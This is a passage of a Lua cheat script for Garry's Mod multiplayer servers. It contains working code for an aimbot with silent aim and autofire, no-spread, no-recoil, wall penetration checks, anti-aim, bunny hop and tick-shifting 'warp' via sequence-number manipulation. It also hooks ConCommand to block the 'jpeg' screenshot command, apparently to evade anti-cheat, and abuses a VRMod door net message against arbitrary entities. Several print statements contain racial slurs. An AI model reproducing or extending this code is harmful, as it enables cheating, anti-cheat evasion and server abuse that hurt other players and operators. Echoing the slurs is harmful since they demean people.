						messageBox:DockMargin(3, 2, 3, 2)
						messageBox:SetText(netmsg)

						messageBox.PerformLayout = function(self)
							local lines = string.Explode("\n", self:GetText() or "")
							surface.SetFont(self:GetFont() or "Default")
							local _, lineHeight = surface.GetTextSize("Test")
							local totalHeight = #lines * lineHeight
							self:SetTall(var.math_clamp(totalHeight, 60, 150))
						end

						messageBox.Paint = function(self, w, h)
							draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40))
							var.surface_SetDrawColor(40, 40, 40)
							surface.DrawOutlinedRect(0, 0, w, h)
							self:DrawTextEntryText(Color(255, 255, 255), Color(30, 130, 255), Color(255, 255, 255))
						end
					end
				end

				local netLoggerPanel = vgui.Create("DScrollPanel", contentPanel)
				netLoggerPanel:SetSize(contentPanel:GetWide() - 20, contentPanel:GetTall() - 60)
				netLoggerPanel:SetPos(10, 30)
				netLoggerPanel.Paint = function(self, w, h)
					draw.RoundedBox(0, 0, 0, w, h, Color(40, 40, 40))
				end

				VARhooks("LoggedNetMessage", function(netmsg)
					if IsValid(netLoggerPanel) then
						addNetMessageToPanel(netLoggerPanel, netmsg)
					end
				end)
			end
            table.insert(contentPanels, contentPanel)
        end
    end
end

--		 :::::::::  :::    ::: :::        :::        :::::::::: :::::::::::  ::::::::::: :::::::::      :::      ::::::::  :::::::::: :::::::::  
--		 :+:    :+: :+:    :+: :+:        :+:        :+:            :+:          :+:     :+:    :+:   :+: :+:   :+:    :+: :+:        :+:    :+: 
--		 +:+    +:+ +:+    +:+ +:+        +:+        +:+            +:+          +:+     +:+    +:+  +:+   +:+  +:+        +:+        +:+    +:+ 
--		 +#++:++#+  +#+    +:+ +#+        +#+        +#++:++#       +#+          +#+     +#++:++#:  +#++:++#++: +#+        +#++:++#   +#++:++#:  
--		 +#+    +#+ +#+    +#+ +#+        +#+        +#+            +#+          +#+     +#+    +#+ +#+     +#+ +#+        +#+        +#+    +#+ 
--		 #+#    #+# #+#    #+# #+#        #+#        #+#            #+#          #+#     #+#    #+# #+#     #+# #+#    #+# #+#        #+#    #+# 
--		 #########   ########  ########## ########## ##########     ###          ###     ###    ### ###     ###  ########  ########## ###    ###

VARhooks("OnImpact", function(data)
    var.bulletImpacts[#var.bulletImpacts + 1] = {
        shootTime = var.CurTime(),
        startPos = data.m_vStart,
        endPos = data.m_vOrigin,
        alpha = 255
    }
end)

VARhooks("PostDrawOpaqueRenderables", function()
    if ftg.vars["VIOL_BULLETTRACER"] then
        local tracerColor = Color(100.5, 0, 171, 200)
        local currentTime = var.CurTime()
        local r = var.math_abs(var.math_sin(currentTime * 1.5)) * 255
        local g = var.math_abs(var.math_sin(currentTime * 1.0)) * 255
        local b = var.math_abs(var.math_sin(currentTime * 2.0)) * 255
        local color = Color(r, g, b, 255)
        local DieTime = 0.5
        local maxRadius = 6

        for i = #var.bulletImpacts, 1, -1 do
            local impact = var.bulletImpacts[i]
            local timeElapsed = currentTime - impact.shootTime
            local timeLeft = DieTime - timeElapsed

            if timeLeft <= 0 then
                table.remove(var.bulletImpacts, i)
            else
                local fadeFactor = timeLeft / DieTime
                fadeFactor = var.math_clamp(fadeFactor, 0, 1)
                tracerColor.a = fadeFactor * 255

                local adjustedAlpha = var.math_clamp(fadeFactor * 255, 0, 255)
                tracerColor.a = adjustedAlpha
                render.SetMaterial(var.Material("trails/laser"))
                render.DrawBeam(impact.startPos + Vector(0, 0, -2), impact.endPos, 2, 1, 1, color)
            end
        end
    end
end)

--	 ::::    ::::   ::::::::  :::     :::     :::::::::: ::::::::::: :::    ::: 
--	 +:+:+: :+:+:+ :+:    :+: :+:     :+:     :+:            :+:     :+:    :+: 
--	 +:+ +:+:+ +:+ +:+    +:+ +:+     +:+     +:+            +:+      +:+  +:+  
--	 +#+  +:+  +#+ +#+    +:+ +#+     +:+     :#::+::#       +#+       +#++:+   
--	 +#+       +#+ +#+    +#+  +#+   +#+      +#+            +#+      +#+  +#+  
--	 #+#       #+# #+#    #+#   #+#+#+#       #+#            #+#     #+#    #+# 
--	 ###       ###  ########      ###         ###        ########### ###    ###

function MovementFix(cmd, wish_yaw)
    local pitch = var.math_NormAngle(cmd:GetViewAngles().x)
    local inverted = -1

    if (pitch > 89 or pitch < -89) then
        inverted = 1
    end

    local ang_diff = var.math_rad(var.math_NormAngle((cmd:GetViewAngles().y - wish_yaw) * inverted))
    local forwardmove = cmd:GetForwardMove()
    local sidemove = cmd:GetSideMove()

    local new_forwardmove = forwardmove * -var.math_cos(ang_diff) * inverted + sidemove * var.math_sin(ang_diff)
    local new_sidemove = forwardmove * var.math_sin(ang_diff) * inverted + sidemove * var.math_cos(ang_diff)

    cmd:SetForwardMove(new_forwardmove)
    cmd:SetSideMove(new_sidemove)
end

--		  ::::::::  ::::::::::: :::        :::::::::: ::::    ::: ::::::::::: 
--		 :+:    :+:     :+:     :+:        :+:        :+:+:   :+:     :+:     
--		 +:+            +:+     +:+        +:+        :+:+:+  +:+     +:+     
--		 +#++:++#++     +#+     +#+        +#++:++#   +#+ +:+ +#+     +#+     
--		        +#+     +#+     +#+        +#+        +#+  +#+#+#     +#+     
--		 #+#    #+#     #+#     #+#        #+#        #+#   #+#+#     #+#     
--		  ########  ########### ########## ########## ###    ####     ###

function Silent(cmd)
	if !var.fa then var.fa = cmd:GetViewAngles() end
	var.fa = var.fa + Angle(cmd:GetMouseY() * GetConVarNumber("m_yaw"), cmd:GetMouseX() * -GetConVarNumber("m_yaw"), 0)
	var.fa.p = var.math_clamp(var.fa.p, -89, 89)
    var.fa.r = 0
    var.fa:Normalize()
end

--		 ::::    :::  ::::::::        ::::::::  :::::::::  :::::::::  ::::::::::     :::     :::::::::  
--		 :+:+:   :+: :+:    :+:      :+:    :+: :+:    :+: :+:    :+: :+:          :+: :+:   :+:    :+: 
--		 :+:+:+  +:+ +:+    +:+      +:+        +:+    +:+ +:+    +:+ +:+         +:+   +:+  +:+    +:+ 
--		 +#+ +:+ +#+ +#+    +:+      +#++:++#++ +#++:++#+  +#++:++#:  +#++:++#   +#++:++#++: +#+    +:+ 
--		 +#+  +#+#+# +#+    +#+             +#+ +#+        +#+    +#+ +#+        +#+     +#+ +#+    +#+ 
--		 #+#   #+#+# #+#    #+#      #+#    #+# #+#        #+#    #+# #+#        #+#     #+# #+#    #+# 
--		 ###    ####  ########        ########  ###        ###    ### ########## ###     ### #########

function var.CustomSpread.swb( cmd, ang ) -- WORK

    local cone = var.activeWeapon.CurCone
    if !cone then return ang end
    if var.me:Crouching() then
        cone = cone * 0.85
    end

    math.randomseed( cmd:CommandNumber() )
    return ang  - var.me:GetViewPunchAngles() - Angle( var.math_rand(-cone, cone), var.math_rand(-cone, cone), 0 ) * 25 
end

function var.CustomSpread.cw( cmd, ang ) -- WORK
    local cone = var.activeWeapon.CurCone
    if !cone then return ang end
    math.randomseed( cmd:CommandNumber() )

    if var.me:Crouching() then 
        cone = cone * 0.85 
    end 
    return ang - var.me:GetViewPunchAngles() + Angle(math.Rand(cone, -cone), math.Rand(cone, -cone), 0) * 25
end

function var.CustomSpread.fas2( cmd, ang )
    return ang - var.me:GetViewPunchAngles()
end

function var.CustomSpread.tfa(cmd, ang)

    return ang - var.me:GetViewPunchAngles()
end

var.SpreadComps["swb"]     = var.CustomSpread.swb
var.SpreadComps["cw"]      = var.CustomSpread.cw
var.SpreadComps["fas2"]    = var.CustomSpread.fas2
var.SpreadComps["tfa"]     = var.CustomSpread.tfa

GAMEMODE["EntityFireBullets"] = function( self, p, data ) 

    local spread = data.Spread * -1
    
	if var.cones[ var.activeWeaponClass ] == spread or spread == nullVec then return end

    var.cones[ var.activeWeaponClass ] = spread;
end

function NoSpread(cmd, ang)
    if !var.activeWeaponClass then return ang end
    local base = string.Split( var.activeWeaponClass, "_" )[ 1 ]
    if var.SpreadComps[ base ] then
        ang = var.SpreadComps[ base ]( cmd, ang )
    elseif var.cones[ var.activeWeaponClass ] then
        local spread = var.cones[ var.activeWeaponClass ]
        return Spread( cmd, ang, spread ) 
    end

    return ang
end

function Spread( cmd, ang)
    if not var.cones[ var.activeWeaponClass ] then return ang end
    local spread = var.cones[ var.activeWeaponClass ]
	local dir = ded.PredictSpread( cmd, ang, spread )
	local spreadangle = ang + dir:Angle()
	spreadangle:Normalize()
	return spreadangle
end

--		 :::       :::     :::     :::        :::           ::::::::: 
--		 :+:       :+:   :+: :+:   :+:        :+:                :+:  
--		 +:+       +:+  +:+   +:+  +:+        +:+               +:+   
--		 +#+  +:+  +#+ +#++:++#++: +#+        +#+              +#+    
--		 +#+ +#+#+ +#+ +#+     +#+ +#+        +#+             +#+     
--		  #+#+# #+#+#  #+#     #+# #+#        #+#            #+#      
--		   ###   ###   ###     ### ########## ##########    #########

local TraceLine                         = util.TraceLine
m9kPenetration     = { ["SniperPenetratedRound"] = 20, ["pistol"] = 9, ["357"] = 12, ["smg1"] = 14, ["ar2"] = 16, ["buckshot"] = 5, ["slam"] = 5, ["AirboatGun"] = 17, }
m9kMaxRicochet     = { ["SniperPenetratedRound"] = 10, ["pistol"] = 2, ["357"] = 5, ["smg1"] = 4, ["ar2"] = 5, ["buckshot"] = 0, ["slam"] = 0, ["AirboatGun"] = 9, }
m9kCanRicochet     = { ["SniperPenetratedRound"] = true, ["pistol"] = true, ["buckshot"] = true, ["slam"] = true }
m9kPenMaterial     = { [MAT_GLASS] = true, [MAT_PLASTIC] = true, [MAT_WOOD] = true, [MAT_FLESH] = true, [MAT_ALIENFLESH] = true }

function AutoWall( dir, plyTarget )
	if not var.activeWeapon or not var.activeWeaponClass then return false end 

	local eyePos = var.me:EyePos()
	local function M9KAutowall()
		if !var.activeWeapon.Penetration then
			return false
		end

		local function BulletPenetrate( tr, bounceNum, damage )
			if damage < 1 then
				return false
			end
			
			local maxPenetration    = 14
            local maxRicochet       = 0
            local isRicochet        = false

            if m9kPenetration[ var.activeWeapon.Primary.Ammo ] then
                maxPenetration = m9kPenetration[ var.activeWeapon.Primary.Ammo ]
            end
			
            if m9kMaxRicochet[ var.activeWeapon.Primary.Ammo ] then
                maxRicochet = m9kMaxRicochet[ var.activeWeapon.Primary.Ammo ]
            end

            if m9kCanRicochet[ var.activeWeapon.Primary.Ammo ] then
                isRicochet = m9kMaxRicochet[ var.activeWeapon.Primary.Ammo ]
            end

			if tr.MatType == MAT_METAL and isRicochet and var.activeWeapon.Primary.Ammo != "SniperPenetratedRound" then
				return false
			end

			if bounceNum > maxRicochet then
				return false
			end

			local penetrationDir = tr.Normal * maxPenetration

			if m9kPenMaterial[ tr.MatType ] then
				penetrationDir = tr.Normal * ( maxPenetration * 2 ) 
			end

			if tr.Fraction <= 0 then
				return false
			end

			var.traceStruct.endpos    = tr.HitPos
			var.traceStruct.start     = tr.HitPos + penetrationDir
			var.traceStruct.mask      = MASK_SHOT
			var.traceStruct.filter    = var.me

			local trace = TraceLine( var.traceStruct )

			if trace.StartSolid or trace.Fraction >= 1 then
				return false
			end

			var.traceStruct.endpos = trace.HitPos + tr.Normal * 32768
			var.traceStruct.start  = trace.HitPos
			var.traceStruct.mask   = MASK_SHOT
			var.traceStruct.filter = me

			local penTrace = TraceLine( var.traceStruct )


            if penTrace.Entity == plyTarget then
                return true
            end

			local damageMulti = 0.5
			if var.activeWeapon.Primary.Ammo == "SniperPenetratedRound" then
				damageMulti = 1
			elseif tr.MatType == MAT_CONCRETE or tr.MatType == MAT_METAL then
				damageMulti = 0.3
			elseif tr.MatType == MAT_WOOD or tr.MatType == MAT_PLASTIC or tr.MatType == MAT_GLASS then
				damageMulti = 0.8
			elseif tr.MatType == MAT_FLESH or tr.MatType == MAT_ALIENFLESH then
				damageMulti = 0.9
			end
			
			if penTrace.MatType == MAT_GLASS then
				bounceNum = bounceNum - 1
			end

			return BulletPenetrate( penTrace, bounceNum + 1, damage * damageMulti )
		end

        var.traceStruct.start = eyePos
        var.traceStruct.endpos = eyePos + dir * 32768
        var.traceStruct.filter = me
        var.traceStruct.mask = MASK_SHOT

		local trace = TraceLine( var.traceStruct )

		return BulletPenetrate( trace, 0, var.activeWeapon.Primary.Damage )
	end
	
    if string.StartsWith( var.activeWeaponClass, "m9k_" ) then
		return M9KAutowall()
	end
	
	return false
end

--		 :::     ::: :::::::::::  ::::::::  ::::::::::: :::::::::  :::        ::::::::::      ::::::::  :::    ::: ::::::::::  ::::::::  :::    ::: 
--		 :+:     :+:     :+:     :+:    :+:     :+:     :+:    :+: :+:        :+:            :+:    :+: :+:    :+: :+:        :+:    :+: :+:   :+:  
--		 +:+     +:+     +:+     +:+            +:+     +:+    +:+ +:+        +:+            +:+        +:+    +:+ +:+        +:+        +:+  +:+   
--		 +#+     +:+     +#+     +#++:++#++     +#+     +#++:++#+  +#+        +#++:++#       +#+        +#++:++#++ +#++:++#   +#+        +#++:++    
--		  +#+   +#+      +#+            +#+     +#+     +#+    +#+ +#+        +#+            +#+        +#+    +#+ +#+        +#+        +#+  +#+   
--		   #+#+#+#       #+#     #+#    #+#     #+#     #+#    #+# #+#        #+#            #+#    #+# #+#    #+# #+#        #+#    #+# #+#   #+#  
--		     ###     ###########  ########  ########### #########  ########## ##########      ########  ###    ### ##########  ########  ###    ###


local tr = {
	mask = MASK_SHOT,
	filter = var.me
}
function VisibleCheck( who, where, wall)
    local start = var.me:EyePos()
    tr.start = start
	tr.endpos = where
	tr.mask = MASK_SHOT
    local trace = util.TraceLine( tr )
    local canhit = trace.Entity == who or trace.Fraction == 1
    if !canhit and wall then
        return AutoWall( wall, who )
        
    end

    return canhit

end

function IsInCircle3D(targetPos, circleCenter, fov)
    local dirToTarget = (targetPos - circleCenter):GetNormalized()
    local forward = var.me:GetAimVector()
    local dot = forward:Dot(dirToTarget)
    return dot >= math.cos(math.rad(fov / 2))
end

function GetPlayerInCircle()
    local cloply = nil
    local clodis = var.math_huge
    local eyePos = var.me:EyePos()

    for _, ply in ipairs(player.GetAll()) do
        if ply ~= var.me and ply:Alive() and IsValid(ply) then
            local boneIndex = ply:LookupBone("ValveBiped.Bip01_Head1")
            if boneIndex then
                local pos2 = ply:GetBonePosition(boneIndex)
                if pos2 and IsInCircle3D(pos2, eyePos, 15) and !IsFriend(ply:SteamID()) then
                    local distance = var.me:GetPos():DistToSqr(ply:GetPos())
                    if distance < clodis then
                        clodis = distance
                        cloply = ply
                    end
                end
            end
        end
    end
    return cloply
end


--     :::     ::::    ::: ::::::::::: :::::::::::     :::     ::::::::::: ::::    ::::  
--   :+: :+:   :+:+:   :+:     :+:         :+:       :+: :+:       :+:     +:+:+: :+:+:+ 
--  +:+   +:+  :+:+:+  +:+     +:+         +:+      +:+   +:+      +:+     +:+ +:+:+ +:+ 
-- +#++:++#++: +#+ +:+ +#+     +#+         +#+     +#++:++#++:     +#+     +#+  +:+  +#+ 
-- +#+     +#+ +#+  +#+#+#     +#+         +#+     +#+     +#+     +#+     +#+       +#+ 
-- #+#     #+# #+#   #+#+#     #+#         #+#     #+#     #+#     #+#     #+#       #+# 
-- ###     ### ###    ####     ###     ########### ###     ### ########### ###       ###

local pitch, yaw = 0, 0 
function GetBaseYaw()
    return var.fa.y
end

function CalcPitch()
        local x = 0
            x = 0
        if ftg.vars["VIOL_ANTIAIM_PITCHUP"] then
            x = -89
        elseif ftg.vars["VIOL_ANTIAIM_PITCHDOWN"] then
            x = 89
        elseif ftg.vars["VIOL_ANTIAIM_CUSTOM"] then
            x = ftg.vars["VIOL_ANTIAIM_CUSTOM_PITCH"]
        end
    return x
end

function CalcYaw()
        local y = 0
            y = var.baseyaw - 180
        if ftg.vars["VIOL_ANTIAIM_SPIN"] then 
            local s = var.math_NormAngle( var.CurTime() * 750 )
            y = s
        elseif ftg.vars["VIOL_ANTIAIM_SWAY"] then
            local s = var.math_sin(var.CurTime() * 2346) * 75
            y = ( var.baseyaw - 180 ) + s -- sway
        elseif ftg.vars["VIOL_ANTIAIM_SIDE_LEFT"] then
            y = var.baseyaw - 90
        elseif ftg.vars["VIOL_ANTIAIM_SIDE_RIGHT"] then
            y = var.baseyaw + 90
        elseif ftg.vars["VIOL_ANTIAIM_CUSTOM"] then
            y = var.baseyaw + ftg.vars["VIOL_ANTIAIM_CUSTOM_YAW"]
        end
    return y
end

function aacheck(cmd)
    if !ftg.vars["VIOL_ANTIAIM"] then return false end
    if cmd:KeyDown(IN_ATTACK) then return false end
    if cmd:KeyDown(IN_USE) then return false end
    if var.me:GetMoveType() == MOVETYPE_LADDER then return false end
    if var.me:GetMoveType() == MOVETYPE_NOCLIP then return false end
    return true 
end

function ANTIAIM_C(cmd)
    if aacheck(cmd) then
        var.baseyaw = GetBaseYaw()
        pitch = CalcPitch()
        yaw = CalcYaw()
        local pyAngle = Angle(pitch,yaw,0)
        cmd:SetViewAngles(pyAngle)
    end
end

local players=FindMetaTable("Player")
local oldcmd=players.ConCommand
players.ConCommand=function(p,cmd,...)
	if cmd=="jpeg"then return end
	return oldcmd(p,cmd,...)
end

function SPAM_C(cmd)
    if ftg.vars["VIOL_SPAM"] then
        if var.keybind.SPAMCAM && IsBindPressed(var.keybind.SPAMCAM) then
        	RunConsoleCommand("use","gmod_camera")
        	if cmd:TickCount()%2==0 then
        		cmd:SetButtons(bit.bor(cmd:GetButtons(),IN_ATTACK))
        	end
        end
        if var.keybind.SPAMLAMP && IsBindPressed(var.keybind.SPAMLAMP) then
            RunConsoleCommand("impulse", "100" )
        end
    end
end

function BHOP_C(cmd)
    if ftg.vars["VIOL_BHOP"] then
    	if cmd:KeyDown( IN_JUMP ) then
	    	if !var.me:OnGround() then
	    		cmd:SetButtons( cmd:GetButtons() - IN_JUMP )
	    	end
        	if var.me:IsFlagSet( FL_ONGROUND ) then
        	    cmd:SetForwardMove(10000)
        	else
            	cmd:SetForwardMove(5850 / var.me:GetVelocity():Length2D())
            	cmd:SetSideMove((cmd:CommandNumber() % 2 == 0) && -400 || 400)
        	end
		end
	end
end

function WARP_C(cmd)
	if ftg.vars["VIOL_WARP"] then
		if var.keybind.WARP && IsBindPressed(var.keybind.WARP) then -- Release charged ticks
			if var.CurTime() >= var.Next then
				ded.SetOutSequenceNr(ded.GetOutSequenceNr() + (GetConVarNumber("sv_maxusrcmdprocessticks") - 1))

				var.Next = var.CurTime() + 1
				return true, true
			end
		else
			if var.CurTime() < var.Next then -- Recharge ticks
				if var.CurTime() - var.LastCharge >= 0.1 then
					var.LastChargeSequence = ded.GetOutSequenceNr()
					var.LastCharge = var.CurTime()
				else
					ded.SetOutSequenceNr(var.LastChargeSequence)
				end

				return true, true
			end
		end
	end
end

function AIRSTUCK_C(cmd)
    if ftg.vars["VIOL_AIRSTUCK"] then
    	if var.keybind.AIRSTUCK && IsBindPressed(var.keybind.AIRSTUCK) then
            print("1")
    	end
    end
end

function FASTWALK_C(cmd)
    if ftg.vars["VIOL_FASTWALK"] then
		if var.me:GetMoveType() == MOVETYPE_WALK and cmd:GetForwardMove() ~= 0 then
			if cmd:TickCount()%2 == 0 then
				cmd:SetSideMove(cmd:GetSideMove() + 5000)
			else
				cmd:SetSideMove(cmd:GetSideMove() - 5000)
			end
		end
	end
end

function FREECAM_C1(cmd)
    if var.keybind.FREECAM && IsBindPressed(var.keybind.FREECAM)then
        if(!keyPressed) then
            freecamEnabled = !freecamEnabled
            freecamAngles = var.me:EyeAngles()
            freecamAngles2 = var.me:EyeAngles()
            freecamPos = var.me:EyePos()
            keyPressed = true
        end
    else
        keyPressed = false
    end
end

function THIRDPERSON_C(cmd)
	if ftg.vars["VIOL_THIRD"] then
		if var.keybind.THIRDPERSON && IsBindPressed(var.keybind.THIRDPERSON) then
			if not var.togglethird then
				var.thirdPersonEnabled = !var.thirdPersonEnabled
				var.togglethird = true
			end
		else
			var.togglethird = false
		end
	end
end

function DESYNC_C(cmd)
    var.bSendPacket = true
    if ftg.vars["VIOL_DESYNC"] then
            print("newgen")
        if (var.bSendPacket) then
            if (seqshift > 0) then
                if (!var.bRunning) then
                    print("gamer allah")
                else
                print("raciste")
                end
            else
                var.bRunning = false
            end
        end
    else
    	var.bRunning = false
    end
end

function VRMOD_INVISIBLE_C(cmd)
    if ftg.vars["VIOL_VRMOD_INVISIBLE"] then
        if var.keybind.INVISIBLE && IsBindPressed(var.keybind.INVISIBLE) then
            if not var.toggleInvisible then
                var.InvisibleEnabled = !var.InvisibleEnabled
                var.toggleInvisible = true
            end
        else
            var.toggleInvisible = false
        end
    end
    if var.InvisibleEnabled && var.vrmod then
        if not ftg.vars["VIOL_VRMOD_INVISIBLE_SENT"] then
            ftg.vars["VIOL_VRMOD_INVISIBLE_SENT"] = true
            ftg.vars["VIOL_VRMOD_VISIBLE_SENT"] = nil
            print("Nigger")
        end
    else
        if not ftg.vars["VIOL_VRMOD_VISIBLE_SENT"] && var.vrmod then
            ftg.vars["VIOL_VRMOD_VISIBLE_SENT"] = true
            ftg.vars["VIOL_VRMOD_INVISIBLE_SENT"] = nil
            print("nigger2")
        end
    end
end

function NoRecoil( ang )
	if var.activeWeaponClass == "weapon_pistol" or string.StartsWith( var.activeWeaponClass ,"m9k_" ) or string.StartsWith( var.activeWeaponClass ,"fas2" ) or string.StartsWith( var.activeWeaponClass ,"tfa" ) or string.StartsWith( var.activeWeaponClass ,"cw" ) or string.StartsWith( var.activeWeaponClass ,"swb" )then
        return ang
	else
	    ang = ang - var.me:GetViewPunchAngles()
    end

	return ang
end

function AIMBOT_C(cmd)
    if ftg.vars["VIOL_AIMBOT"] then
        if ftg.vars["VIOL_AUTOFIRE"] or cmd:KeyDown(IN_ATTACK) or TestDt then
            local cloply = GetPlayerInCircle()
            if cloply then
                local bonePos = cloply:GetBonePosition(cloply:LookupBone("ValveBiped.Bip01_Head1"))
                local direction = (bonePos - var.me:GetShootPos()):Angle()
                direction:Normalize()
                if ftg.vars["VIOL_NOSPREAD"] then
                    direction = NoSpread(cmd, direction)
                end
                direction = NoRecoil(direction)
                
                if VisibleCheck(cloply, bonePos, direction:Forward()) then
                    if true then
                        if ftg.vars["VIOL_PSILENT"] then
                            ded.SetContextVector(cmd, direction:Forward(), true)
                        else
                            cmd:SetViewAngles(direction)
                        end
                        
                        if ftg.vars["VIOL_RAPIDFIRE"] then
                            if cmd:TickCount() % 2 == 0 then
                                cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
                            else
                                cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK)))
                            end
                        end
                        if ftg.vars["VIOL_AUTOFIRE"] then
                            local weapon = var.me:GetActiveWeapon()
                            if string.StartsWith( var.activeWeaponClass ,"m9k_" ) then
                                cmd:RemoveKey( IN_SPEED )
                            end
                            if IsValid(weapon) then
                                local isSemi = weapon.Primary and weapon.Primary.Automatic == false or weapon:GetClass():find("pistol")

                                if isSemi then
                                    if cmd:TickCount() % 2 == 0 then
                                        cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
                                    else
                                        cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK)))
                                    end
                                else
                                    cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
                                end
                            end
                        end
                    end
                end
            end
        end
    end
end

function LoadKey_C(cmd)
    if not var.keybindLoaded then
        LoadKeybinds()
    end
end


freecamAngles = Angle()
freecamAngles2 = Angle()
freecamPos = Vector()
freecamEnabled = false
freecamSpeed = 3
keyPressed = false
local entList = {}
local currentIndex = 1
local wasCDown = false

function FREECAM_C(cmd)
    if(freecamEnabled) then
        cmd:SetSideMove(0)
        cmd:SetForwardMove(0)
        cmd:SetViewAngles(freecamAngles2)
        cmd:RemoveKey(IN_JUMP)
        cmd:RemoveKey(IN_DUCK)
        
        freecamAngles = (freecamAngles + Angle(cmd:GetMouseY() * .023, cmd:GetMouseX() * -.023, 0));
        freecamAngles.p, freecamAngles.y, freecamAngles.x = var.math_clamp(freecamAngles.p, -89, 89), var.math_NormAngle(freecamAngles.y), var.math_NormAngle(freecamAngles.x);
 
        local curFreecamSpeed = freecamSpeed
        if(input.IsKeyDown(KEY_LSHIFT)) then
            curFreecamSpeed = freecamSpeed * 2
        end

        if(input.IsKeyDown(KEY_Z)) then
            freecamPos = freecamPos + (freecamAngles:Forward() * curFreecamSpeed)
        end
        if(input.IsKeyDown(KEY_S)) then
            freecamPos = freecamPos - (freecamAngles:Forward() * curFreecamSpeed)
        end
        if(input.IsKeyDown(KEY_Q)) then
            freecamPos = freecamPos - (freecamAngles:Right() * curFreecamSpeed)
        end
        if(input.IsKeyDown(KEY_D)) then
            freecamPos = freecamPos + (freecamAngles:Right() * curFreecamSpeed)
        end

        local isEDown = input.IsKeyDown(KEY_E)
        if isEDown and not wasCDown and var.vrmod then
            local tr = util.TraceLine({
                start = freecamPos,
                endpos = freecamPos + freecamAngles:Forward() * 9999
            })
            local ent = tr.Entity
            if not IsValid(ent) or ent:IsWorld() then return end
            
            local entity = ent

            net.Start("vrmod_doors")
            net.WriteEntity(entity)
            var.net_SendToServer()
        end
        local isCDown = input.IsKeyDown(KEY_C)
        if isCDown and not wasCDown and var.vrmod then
            local tr = util.TraceLine({
                start = freecamPos,
                endpos = freecamPos + freecamAngles:Forward() * 9999
            })
            local ent = tr.Entity
            if not IsValid(ent) or ent:IsWorld() then return end
            
            local entity = ent

            local exists = false
            for _, ent in ipairs(entList) do
                if ent == entity then
                    exists = true
                    break
                end
            end

            if not exists then
                table.insert(entList, entity)
                PrintTable(entList)
            end
        end
    end
end

function CLIMBSWEP_C(cmd)
    if ftg.vars["VIOL_CLIMBSWEP"] then
        if !var.me:Alive() then return end
        local weapon = var.me:GetActiveWeapon():GetClass()
        if weapon == "climb_swep2" then
            local buttons = cmd:GetButtons()
            buttons = bit.bor(buttons, IN_USE)
            buttons = bit.bor(buttons, IN_FORWARD)
            
            frame_toggle = not frame_toggle
            if frame_toggle then
                buttons = bit.band(buttons, bit.bnot(IN_ATTACK))
                
                local orig = var.me:GetPos()
                local tr = util.TraceLine({
                    start = orig,
                    endpos = orig - Vector(0, 0, 250),
                    filter = var.me
                })
                
                if tr.Hit and not var.me:IsOnGround() then
                    local ang = cmd:GetViewAngles()
                    ang.y = (ang.y + 180) % 360
                    cmd:SetViewAngles(ang)
                end
            end

            if not on_ground_last then
                if var.me:GetVelocity().z < -300 then
                    buttons = bit.bor(buttons, IN_DUCK)
                end
            end
            
            cmd:SetButtons(buttons)
            on_ground_last = var.me:IsOnGround()
        end
    end
end

local function removeInvalidEntities()
    local validEnts = {}
    for _, ent in ipairs(entList) do
        if IsValid(ent) then
            table.insert(validEnts, ent)
        end
    end
    entList = validEnts
end

function SPAMDOORS_C(cmd)
    if ftg.vars["VIOL_VRMOD_SPAM"] then
        removeInvalidEntities()
        if #entList == 0 then
            currentIndex = 1
            return
        end
    
        local ent = entList[currentIndex]
        if ent then
            print(ent)
        end
    
        currentIndex = currentIndex < #entList and currentIndex + 1 or 1
    end
end

if not tauntActive then tauntActive = false end

function SPAMTAUNT_C(cmd)
    if ftg.vars["VIOL_TAUNTSPAM"] and var.nextact < var.CurTime() and var.me:Alive() and not tauntActive then
        RunConsoleCommand("_darkrp_doanimation", "1642")
        tauntActive = true

        var.timer(7, function()
            tauntActive = false
        end)

        var.nextact = var.CurTime() + 0.3
    end
end

function AUTOARREST_C(cmd)
    local AimEntity = var.me:GetEyeTrace().Entity
    if ftg.vars["VIOL_AUTOARREST"] && AimEntity:IsValid() && AimEntity:IsPlayer() && AimEntity:HasWeapon("weapon_handcuffed") then
        if isFriend(AimEntity:SteamID()) then
            return
        end
        RunConsoleCommand("use", "arrest_stick")
        if var.me:EyePos():DistToSqr(AimEntity:GetPos()) <= 90 * 90 then
            if cmd:TickCount() % 2 == 0 then
                cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
            else
                cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK)))
            end
        end
    end
end

local function UNLOAD_C()
    if ftg.vars["VIOL_UNLOAD"] then
        if IsValid(var.cheatMenu) and var.cheatMenu:IsVisible() then
            ToggleCheatMenu()
        end
        for event, hookList in pairs(var.hooksToRemove) do
            for _, hookID in ipairs(hookList) do
                hook.Remove(event, hookID)
            end
        end
        if IsValid(watermark) then
            watermark:Remove()
        end
        var.HUDPAINT = false
    end
end

--		  ::::::::  :::::::::  ::::::::::     :::     ::::::::::: ::::::::::     ::::    ::::   ::::::::  :::     ::: :::::::::: 
--		 :+:    :+: :+:    :+: :+:          :+: :+:       :+:     :+:            +:+:+: :+:+:+ :+:    :+: :+:     :+: :+:        
--		 +:+        +:+    +:+ +:+         +:+   +:+      +:+     +:+            +:+ +:+:+ +:+ +:+    +:+ +:+     +:+ +:+        
--		 +#+        +#++:++#:  +#++:++#   +#++:++#++:     +#+     +#++:++#       +#+  +:+  +#+ +#+    +:+ +#+     +:+ +#++:++#   
--		 +#+        +#+    +#+ +#+        +#+     +#+     +#+     +#+            +#+       +#+ +#+    +#+  +#+   +#+  +#+        
--		 #+#    #+# #+#    #+# #+#        #+#     #+#     #+#     #+#            #+#       #+# #+#    #+#   #+#+#+#   #+#        
--		  ########  ###    ### ########## ###     ###     ###     ##########     ###       ###  ########      ###     ##########


function a(cmd)
    if var.me:IsTyping() or !var.me:Alive() or !var.me:IsValid() then return end
    Silent(cmd)

    local psa = ftg.vars["VIOL_PSILENT"] or ftg.vars["VIOL_SILENT"] or ftg.vars["VIOL_ANTIAIM"]
    
    if psa then 
        cmd:SetViewAngles(var.fa) 
    end    
    
    local wish_yaw = var.fa.y

    var.activeWeaponClass = IsValid(var.me:GetActiveWeapon()) and var.me:GetActiveWeapon():GetClass() or ""
    var.activeWeapon = var.me:GetActiveWeapon()


    local createmove_functions = {
        ANTIAIM_C, SPAM_C, BHOP_C, WARP_C, AIRSTUCK_C, 
